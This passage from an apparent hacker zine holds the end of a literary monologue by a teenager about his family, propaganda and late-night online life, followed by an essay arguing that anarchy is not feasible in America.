moved from a block away. Mom said, Oh? I didn't know that. Virginia said,
yes, we lived in that little white house on the corner the one with the
green shutters for seventeen years. Mom said, I didn't know that. Not only
that, Virgina said with a little laugh, but Rick, that was her husband,
Rick grew up around the corner. You know that ranch where his mother lives?
Mom said, the one where the sign says Bradley? I didn't realize (only
neighbors thirteen years) that was his mother. Yes, he grew up in that
house, then when we got married we moved to the white house with the green
shutters and thirteen years ago when Stonesifers moved to the lakes then we
moved here.
The heart enclosed in apprehension becomes so frightened of its own
journey, of knowing itself, that it draws the spiral more and more tightly,
fencing itself in. Eventually the maze leads nowhere. This village with its
winding lanes and gas lamps for all its faux charm was designed by a
peasant culture afraid of strangers, afraid of change, a half-human heart
with its own unique geometry.
Yep, you guessed it. The geometry of near.
Hypnosis does an effective job of Disneylanding the loneliness of
people who live near. Sometimes that loneliness leaks out into their lives
and that, really, was what the fighting was about.
Some business group asked Pop to give a dinner speech. They asked him
over a year ago, so he had it on the calendar all that time. He really
looked forward to it, we could tell by the time he spent getting ready. He
even practiced his delivery. They told Pop to expect a few hundred people
but when he showed up with all his slides, there were only twenty-three.
I am so sorry, said Merriwether Prattleblather or whoever asked him
to speak. It never occurred to any of us when we scheduled your talk that
this would be of all things the last episode of Jerry Seinfeld.
Pop got a bit of a clue that night. He was pretty dejected but he
knew why. These are people, he said, who have known each other for years.
This meeting is an opportunity to spend time with real friends. But they
preferred to spend the night with people who are not only not real, but
don't even make sense or connect to anything real. They would rather
passively download digital images, he said, using my language without
realizing it, than interact with real human beings.
So Pop had half a clue and I got excited, that doesn't happen every
night, so I jumped in, wanting to rip to the next level and show how it all
connects from Walter Lippmann to Eddie Bernays to Joseph Goebells, news PR
and propaganda one and the same. That got Pop angry. It undermined that
doll's house in his head, I can see now. The walls would collapse if he
looked so he can't look. Besides, he had to put his frustration somewhere
and I was safe. Naturally I became quite incensed at the intensity of his
commitment to being clueless. Christ, Pop, I shouted, they stole your
history. You haven't got a clue because everything real was hidden. Some of
the nodes are real but the way they relate is disguised in lies. He shouts
back that I don't know what I'm talking about. The second world war was
real, he says, hitting the table, not knowing how nuts he looks. Oh yeah?
Then what about Enigma? Before they disclosed it, you thought totally
differently about everything in that war. You had to, Pop! Context is
content and that's what they hide, making everything look different. It's
all in the points of reference. They've done that with everything for fifty
years. It's like multispectral camouflage that I read about in space, fake
platforms intended to look real. Nothing gets through, nothing bounces
back. You live in a hall or more like a hologram of mirrors, Pop, can't you
see that?
We both kept shouting and sooner or later I figured fuck it and went
to my room which is fine with me because I would rather live in the real
world than the Night of the Living Dead down there.
I know why Pop can't let himself know. I understand. Particularly at
his age, you can't face the emptiness of it all unless you know how to fill
it again, preferably with something real. Knowing you know how to do that
makes it bearable like looking at snakes on Medusa's head in a mirror. It
keeps you from turning to stone.
Me and my friends we don't want to turn to stone ever. Not ever.
Maybe it's all infinite regress inside our heads, nobody knows. But playing
the game at least keeps you flexible. It's like yoga for the soul.
When do I like it best? That's easy. Four in the morning. I love it
then. There's this painting by Rousseau of a lion and a gypsy and the world
asleep in a frieze that never wakes up. That's what it feels like, four in
the morning, online. The illusory world is asleep, shut up like a clam, I
turn on the computer and the fan turns into white noise. The noise is the
sound of the sea against the seawall of our lives. The monitor flickers
alight like a window opening and I climb through.
It's all in the symbols, see, managing the symbols. That makes the
difference between half an illusion and a whole one. Do you use them or do
they use you? If they use you, do you know it, do you see it, and do you
use them back? Who's in charge here? Are you constantly taking back control
from symbols that would sweep you up in a flood? Are you conscious of how
you collude because brains are built to collude so you know and know that
you know and can take back power? Then you have a chance, see, even if the
hall of mirrors never shows a real reflection. Then we have a chance to get
to the next level of the game if only that and that does seem to be the
point.
Me and my friends we prefer the geometry of far. This bedroom is a
node in a network trans-planetary or trans-lunar at any rate, an
intersection of lines in a grid that we navigate at lightspeed. This is
soul-work, this symbol-manipulating machinery fused with our souls, we live
cyborg style, wired to each other. The information we exchange is energy
bootstrapping itself to a higher level of abstraction.
Some nights you drop down into this incredible place and disappear.
Something happens. I don't know how to describe it. It's like you drop down
into this place where most of your life is lived except most of the time
you don't notice. This time, somehow you go there and know it. Instead of
thinking leaning forward from the top of your head its like lines of
electromagnetic energy showing iron filings radiating out from the base of
your skull. Information comes and goes from the base of your brain, goes in
all directions. Time dilates and you use a different set of points of
reference, near and far at the same time.
It's a matter of wanting to go, I think, then going. Otherwise you
turn into the chiropractor's wife. I want to see up close the difference
that makes the difference but once I go there, "I" dissolves like countries
disappeared and whatever is left inhabits clouds of power that have no
names. It's better than sex, yes, better.
So anyway, the point is, yes, I was laughing but not at him, exactly.
You can tell him that. It was nothing personal. It just looked so funny
watching someone express the truth that they didn't know. The truth of a
future they'll never inhabit. It's like his mind was bouncing off a wall,
you see what I mean? So I apologize, okay? You can tell him that. I
understand what it must be like, coming to the end of your life and
realizing how it's all been deception. When it's too late to do anything
about it.
Now if it's all right with you, I just want a few minutes with my
friends. I just want to go where we don't need to be always explaining
everything, where everybody understands.
Okay? And would you mind closing the door, please, as you leave?
# # # # #
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
The Feasibility of Anarchy in America
By
Anthony <ivrit@missvalley.com>
"This country, with its institutions, belongs to the people who inhabit it.
Whenever they shall grow weary of the existing Government, they can exercise
their constitutional right of amending it, or their revolutionary right to
dismember or overthrow it." -- Abraham Lincoln
The concept of anarchy in its most general and well-known form espouses a
view of removing a given governing body or hierarchy. The very word,
"Anarchy," is derived from the Greek word "Anarkhos," which means, "Without
a ruler." In effect, it is a view shared by those who believe that
centralized governments or hierarchies of power and authority tend to
corrupt those at the upper-levels. It is also a common sentiment that those
power-drunken rulers at the height of the hierarchy come to abuse their
power and use their newly found authority for their own, whimsical purposes
to the detriment of the lower members of the organization or society over
which it rules. This belief is far from new, and dates back probably as far
as political philosophy has existed. Within the United States, the
philosophy gained general acceptance within a few select groups during the
1960's and 1970's, and was forwarded with the rise of the "Anarchist
Cookbook," in which instructions for bomb-making, guerilla warfare, and the
like are expounded upon in rather brief detail. With the rise of the
Internet, many groups favoring the free exchange of any and all information,
as well as the destruction of any sort of proprietary and restrictive model
for software development and the like, the philosophy of Anarchism has
become quite widespread and supported in a variety of forms. Aside from the
desire to see corrupt regimes fail and the Orwellian laws and measures
become obsolete, however, we must ask ourselves: In America, is the concept
of Anarchy realistically viable?
It is evident to most that the majority of citizens of the United States do
not view laws as anything other than rules enforced by the current regime;
therefore, to them, if the regime fails for whatever reason, there are no
laws by which to abide. For instance, we can see that during even minor
disruptions, such as blackouts, citizens run rampant causing damage and
stealing goods from other businesses. They do not connect to the greater
picture, and they do not realize that, by depriving others of these goods,
they do nothing but bring greater harm upon the whole of society, which
includes them as well. Even with the government still active, we see a
variety of crimes committed each day, some of the most serious being rape,
murder, and theft. The most important question we must ask is that, if the
citizens are unable to conduct themselves for the greater good and for the
welfare of society, then how may they be trusted to conduct themselves
properly without a governmental body enforcing its laws by threats of
incarceration or death? However it has occurred, it is irrelevant: the
majority of US citizens are entirely dependent upon the government and the
services that it provides. It is also obvious that, without a central
governing body, they could not rightfully conduct themselves responsibly so
that they would need no rulers or administrators above them ensuring that
civil order persists. Because of their attitude of self-centered egoism and
the fulfillment of their hedonistic desires, it is very improbable that they
could retain the proper attitude to make anarchy a possible way of life.
Another problem relating to the lack of a proper, self-reliant attitude is
the fact that most Americans are conditioned to a rather wealthy and
comfortable lifestyle. They have the pleasure of relative political and
military security; comfortable homes; televisions and other frivolous
entertainments; and more food than most know what to do with. All but the
most impoverished and destitute live a very comfortable lifestyle, and even
the latter are generally not wanting for food, housing, and so forth because
of government aid. It is also obvious to many that the government acts as a
buffer between the individual and reality. Everything is hidden from public
view, such as the enforcement of the death penalty, the frequent
slaughtering of meat, and even the often-times brutal tactics of the police
and military. The government attempts to keep society in a rather blissful
swoon so that it does not recognize and is therefore not conditioned to the
undesirable facets of reality. Therefore, it is improbable that the general
public at large would have the threshold of toleration regarding hardship,
and it is not likely that most would be able to adapt to a rather open and
frank way of life, seeing and experiencing both its pleasant and unpleasant
aspects. It is most likely that, when experiencing life without any central
government shielding them from how it truly is, as well as their
responsibility to themselves and the rest of society at large, they would
reject such ideals and return to their previous existence and lifestyle.
Too much is taken for granted, and when this is not available, the public
would quickly turn upon their heels because of the fact that they are
generally unconditioned to self-responsibility, self-reliance, and true
hardship.
A very real problem to be faced if the central government were removed is
the military situation and the protection of this country from hostile
foreign powers. It is well known and goes without saying that quite a few
foreign nations would take little time in responding to the collapse of the
government and militarily invade and occupy the nation to their political
and economic advantage. Thus, it would be imperative that a collective
military be formed and trained in order to resist such a fate. However,
another problem then arises: if a military is formed, and there is hierarchy
within this military (as there needs be if it is to be effective in
protecting the nation from coordinated foreign attacks), then what is to
stop it from staging a coup and forming a new governmental body under
military rule, with the commanders being the upper class and the new leaders
of an unwilling populace? This is not an impossible or even an improbable
scenario. Take Afghanistan, for instance. After the Mujahideen shook off
the yoke of Soviet dominance and government, they found themselves in quite
a problem: there were several militias, all led by separate commanders with
different ideals. Soon, fighting erupted between them, and the country was
in a state of war-torn chaos. Nothing productive came from them, and they
never ruled with any sort of authority. This serves as an example for how
useless a struggle is against an oppressive regime if no stable government
can be formed afterward. After their many blunders, a new group rose up
against them and their corruption: the Taliban. They were originally a
group of freedom fighters who claimed to have no desire for power or rule.
They said that their goals were to remove the Mujahideen and their
atrocities from Afghanistan, and to restore order, security, and peace to
the region. We all know that, afterward, they indeed became the new rulers
of Afghanistan, and were no better than the former Mujahideen in the least.
This would be the same sort of problem that is to plague a nation whose
central government is removed, and it is almost inevitable that foreign
occupation will occur, or the newly formed military will take the power for
themselves. Or, perhaps, both of these will occur as they did in
Afghanistan. Another solution may form in the minds of some when thinking
of this problem: perhaps if everyone who is of fighting age and ability
would form a militia, so that this power would be in the hands of the
population as opposed to a select fighting few. This indeed would be a good
idea, if it weren't for a small problem: it would only be a matter of time
before there would be disagreements as to the best course of future action
in any given situation, and it is very probable that there would be separate
factions that would split away and war upon each other. Thus, the nation
would once more be divided and fighting for power, much like the many
nations of the world do even today. Even without these severely important
issues arising, it goes without question that to have everyone who is able
to necessarily be a part of a given military would be nearly akin to being
governed by a central regime, only on a more militarized basis. Therefore,
it seems entirely likely that this would either begin as or devolve into yet
another form of government, only this time harsher in its enforcement of
laws given the very nature of the institution.
A view espoused by some is that man should return to a more natural way of
life and live primitively, as an animal, given that he is indeed an animal
which is more highly evolved and retains higher faculties of reason and
thought. This sort of view likewise presents another problem which is most
likely impossible to overcome within anarchy: the fact that there is not
anarchy within nature, and that animals are indeed governed if by nothing
more than the principle of natural selection: the strong will survive, and
the weak will perish. It is a fact that resources of a particular area are
not unlimited, such as food, water, material for shelters, fuel, and so
forth. It is also true that there will be those who are more efficient by
nature in gathering food, finding themselves fortunate enough to live near
and perhaps possess a source of fresh water, and so on. Therefore, those
who are stronger and more efficient in these areas will by nature rule over
those who are weaker and not as adept or fortunate enough to be in like
position. Such an individual or individuals would thus be held in higher
esteem in a given community because of the resources he/she possesses, and
which the other members want or need. As we can see, this is leading to
another form of government: those with the best plots of land held in
private ownership will naturally become those who supply the food and
necessary materials to the rest of the community, and will therefore become
as an authority figure. It is trivial to understand that this situation can
be prevented if private ownership of land is not allowed, or if food, water,
and other relatively scarce resources are distributed equally amongst the
populace. The only problem with this is that there must by definition be
some sort of hierarchy or committee collecting these resources, distributing
them, and ensuring that everyone is conducting themselves honestly with
regard to the matter. This will likewise lead to yet another form of
control and government: over time or, perhaps from the beginning depending
upon how much force the committee would have or how dire the situation is at
that time, they will come to form a sort of government which would provide
the members of society with its needed resources, and would thus be much
like the current government we have today, existing by serving society and
using its natural power to threaten others to accept a given set of laws in
order to preserve social order. Even the most primitive of societies have
an accepted leadership, and at least have some sort of social order and a
way in which to ensure that such a social order is not disrupted to the
detriment of society. Hence, if the society is to be held together and not
devolve into nothing more than close-knit families attempting to ensure for
themselves survival without thought to the rest of the population, there
must exist some sort of hierarchy or, for lack of a better term, system of
government.
I conclude this rather brief essay by answering the question posed in the
beginning: it is not possible that anarchy can exist within America if only
because of the fact that the population could not handle it, and can not be
trusted to act with the best interest of society in mind. Not many in this
culture of ego-gratification and self-centered hedonism would find it in
their best interests to give up their many enjoyments, possessions, and
sheltered way of life so that they could exist with more responsibility and
self-reliance. Not only this, it would also be impossible to rid the
majority of the population of the idea of private ownership of property, and
because of the self-centered nature of this culture, it would be entirely
out of the question to assume that a form of communism or communal-lifestyle
would be acceptable to the majority involved. Besides, without some form of
central government deciding the fate of this communal property and what
should be done with the material harvested or grown from it, we would be
hard-pressed to come to any agreement upon what should be done with it.
Thus, without any sort of unification or democratic government, or even an
authoritarian dictator imposing his will upon the population at large,
nothing can be achieved except factionalism, strife, and inevitably
destabilizing, unconstructive conflict.
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------